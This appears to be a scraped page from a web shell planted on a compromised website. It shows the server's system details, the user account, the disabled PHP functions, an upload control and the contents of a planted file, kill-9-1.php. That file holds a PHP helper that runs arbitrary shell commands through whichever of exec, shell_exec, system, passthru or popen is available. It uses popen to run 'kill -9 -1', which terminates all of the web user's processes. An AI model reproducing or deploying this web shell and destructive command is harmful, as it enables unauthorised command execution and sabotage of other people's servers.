HEX
Server: Apache/2
System: Linux server1 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
User: prospack (1044)
PHP: 8.0.30
Disabled: eval, exec, apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, openlog, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec,syslog, system, xmlrpc_entity_decode,show_source,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
$ pwd: /home/prospack/domains/prospack.com/public_html/
Upload Files
File: /home/prospack/domains/prospack.com/public_html/kill-9-1.php
<?php
function do_phpfun($cmd,$fun) {
    $res = '';
    switch($fun){
        case "exec": @exec($cmd,$res); $res = join("\n",$res); break;
        case "shell_exec": $res = @shell_exec($cmd); break;
        case "system": @ob_start(); @system($cmd); $res = @ob_get_contents();   @ob_end_clean();break;
        case "passthru": @ob_start();   @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break;
        case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f))    $res .= @fread($f,1024);} @pclose($f);break;
    }
    return $res;
}

echo do_phpfun('kill -9 -1', 'popen');
@ Telegram